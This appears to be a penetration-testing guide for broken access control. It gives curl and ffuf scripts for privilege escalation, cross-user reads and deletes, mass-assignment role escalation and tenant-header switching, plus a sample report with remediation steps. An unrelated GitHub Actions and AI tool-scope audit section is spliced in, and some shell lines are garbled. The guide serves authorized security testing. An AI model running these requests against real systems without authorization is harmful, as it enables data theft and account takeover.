Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references.
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Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references.
During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
When evaluating role-based access control (RBAC) implementations across all application endpoints
For testing multi-tenant applications where users in one organization should not access another's data
When assessing API endpoints for missing or inconsistent authorization checks
During security audits where privilege escalation and unauthorized access are primary concerns
Prerequisites
Authorization: Written penetration testing agreement for the target
Burp Suite Professional: With Authorize extension for automated access control testing
Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
Application role matrix: Documentation of what each role should and should not access
curl/httpie: For manual endpoint testing with different authentication contexts
ffuf: For discovering hidden endpoints that may lack access controls
# Extract all endpoints from Burp Site Map# Target > Site Map > Right-click > Copy URLs in this host# Build a matrix of endpoints vs roles:# | Endpoint | Admin | Manager | User | Guest |# |-----------------------|-------|---------|------|-------|# | GET /admin/dashboard | Allow | Deny | Deny | Deny |# | GET /api/users | Allow | Allow | Deny | Deny |# | PUT /api/users/{id} | Allow | Deny | Own | Deny |# | DELETE /api/posts/{id} | Allow | Allow | Own | Deny |# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN" \
-o endpoints.json -of json
# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 - 404 \
-H
fc
"Authorization: Bearer $USER_TOKEN"
Step 2: Configure Automated Access Control Testing
Set up Burp Authorize extension for parallel role-based testing.
# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
# a. Add Regular User's session token in "Replace cookies/headers"
# b. Optionally add a second row for Unauthenticated (no auth header)
# Example header replacement setup:
# Row 1 (Low-privilege user):
# Cookie: session=low_priv_user_session
# Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
# [Empty - removes all auth headers]
# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"
# Authorize shows results as:
# Green = Properly restricted (different response for different user)
# Red = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)
Step 3: Test Vertical Privilege Escalation
Attempt to access higher-privilege functionality with lower-privilege accounts.
# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
"GET /admin/dashboard""GET /admin/users""POST /admin/users/create""PUT /admin/settings""DELETE /admin/users/5""GET /admin/logs""GET /admin/reports/export""POST /admin/backup"
)
for entry in"${ADMIN_ENDPOINTS[@]}"; do
method=$(echo"$entry" | cut -d' ' -f1)
endpoint=$(echo"$entry" | cut -d' ' -f2)
echo -n "$method$endpoint (as user): "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
"https://target.example.com$endpoint")
if [ "$status" == "200" ] || [ "$status" == "201" ]; thenecho"VULNERABLE ($status)"elseecho"OK ($status)"fidone# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: $USER_TOKEN" \
-H "X-HTTP-Method-Override: DELETE" \
"https://target.example.com/admin/users/5"# Test with different HTTP methodsfor method in GET POST PUT PATCH DELETE OPTIONS HEAD; doecho -n "$method /admin/users: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
"https://target.example.com/admin/users"echodone
Step 4: Test Horizontal Privilege Escalation
Verify that users cannot access resources belonging to other users at the same privilege level.
# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"
RESOURCES=(
"/api/users/102/profile""/api/users/102/orders""/api/users/102/messages""/api/users/102/documents""/api/users/102/settings""/api/users/102/payment-methods"
)
for resource in"${RESOURCES[@]}"; doecho -n "GET $resource: "
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com$resource")
status=$(echo"$response" | tail -1)
body_len=$(echo"$response" | head -n -1 | wc -c)
if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; thenecho"VULNERABLE ($status, $body_len bytes)"elseecho"OK ($status)"fidone# Test write operations across users
curl -s -X PUT \
-H "Authorization: $USER_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked","email":"hacked@evil.com"}' \
"https://target.example.com/api/users/102/profile" -w "%{http_code}"# Test delete operations
curl -s -X DELETE \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
Step 5: Test Function-Level Access Control
Verify that specific functions enforce authorization properly.
# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
"/api/user/profile""/api/transactions""/api/settings""/admin/dashboard""/api/export/users"
)
for endpoint in"${PROTECTED_ENDPOINTS[@]}"; doecho -n "No auth: GET $endpoint: "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com$endpoint"echodone# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer invalid_token_here" \
"https://target.example.com/api/user/profile"# Test role manipulation in JWT claims# If JWT contains role claim, try modifying it# (requires JWT vulnerability - see JWT testing skill)# Test parameter-based role escalation
curl -s -X PUT \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
"https://target.example.com/api/users/101/profile"# Test registration with elevated role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
"https://target.example.com/api/auth/register"
Step 6: Test Multi-Tenant Isolation
Verify that tenant boundaries are enforced in multi-tenant applications.
# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/users" | jq .
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/settings" | jq .
# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
-H "X-Tenant-ID: tenant-b-id" \
"https://target.example.com/api/users" | jq .
# Test tenant ID in request body
curl -s -X POST \
-H "Authorization: $TENANT_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
"https://target.example.com/api/reports/custom"# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
-w <(seq 1 100) \
-H "Authorization: $TENANT_A_TOKEN" \
-mc 200 -t 10 -rate 20
Pitfalls
GitHub Actions or similar automation triggered by public issues/comments can create a privileged input surface when the workflow exposes allowed_non_write_users, repository tokens, or provider API keys.
Treat model-facing actions as untrusted until the effective tool scope is proven; verify any CLAUDE_CODE_SCRIPT_CAPS, wrapper scripts, or slash-command restrictions actually confine what the model can invoke.
Prefer repo-local evidence over workflow intent. A safe-looking wrapper is not enough if the underlying action can still access secrets or dispatch follow-on jobs.
For issue/comment triggers, check whether non-write users can inject content that reaches comments, labels, dispatch payloads, or downstream scripts.
See references/gh-actions-public-input.md for the compact audit note on public GitHub issue input driving privileged automation.
Key Concepts
Concept
Description
Vertical Privilege Escalation
Lower-privilege user accessing higher-privilege functionality (user -> admin)
Horizontal Privilege Escalation
User accessing another user's resources at the same privilege level
Function-Level Access Control
Authorization checks on specific features/functions regardless of URL
RBAC
Role-Based Access Control - permissions assigned to roles, roles assigned to users
ABAC
Attribute-Based Access Control - permissions based on user/resource/environment attributes
Multi-Tenant Isolation
Ensuring data and functionality separation between different organizations/tenants
Insecure Direct Object Reference
Accessing objects by manipulating identifiers without authorization checks
Missing Function-Level Check
Endpoint exists but does not verify the caller has permission to invoke it
Tools & Systems
Tool
Purpose
Burp Suite Professional
Request interception and role-based testing
Authorize (Burp Extension)
Automated access control testing across sessions
AutoRepeater (Burp Extension)
Automatically replays requests with different auth contexts
Postman
API testing with environment switching between roles
ffuf
Discovering hidden endpoints that may lack access controls
OWASP ZAP
Access control testing with context-aware scanning
Common Scenarios
Scenario 1: Admin Panel Without Auth Check
The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.
Scenario 2: API Endpoint Missing Authorization
The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.
Scenario 3: Tenant Data Leakage
A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.
Scenario 4: Mass Assignment Role Escalation
The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.
Output Format
## Broken Access Control Assessment Report
**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control
### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |
### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint
### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification
### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions
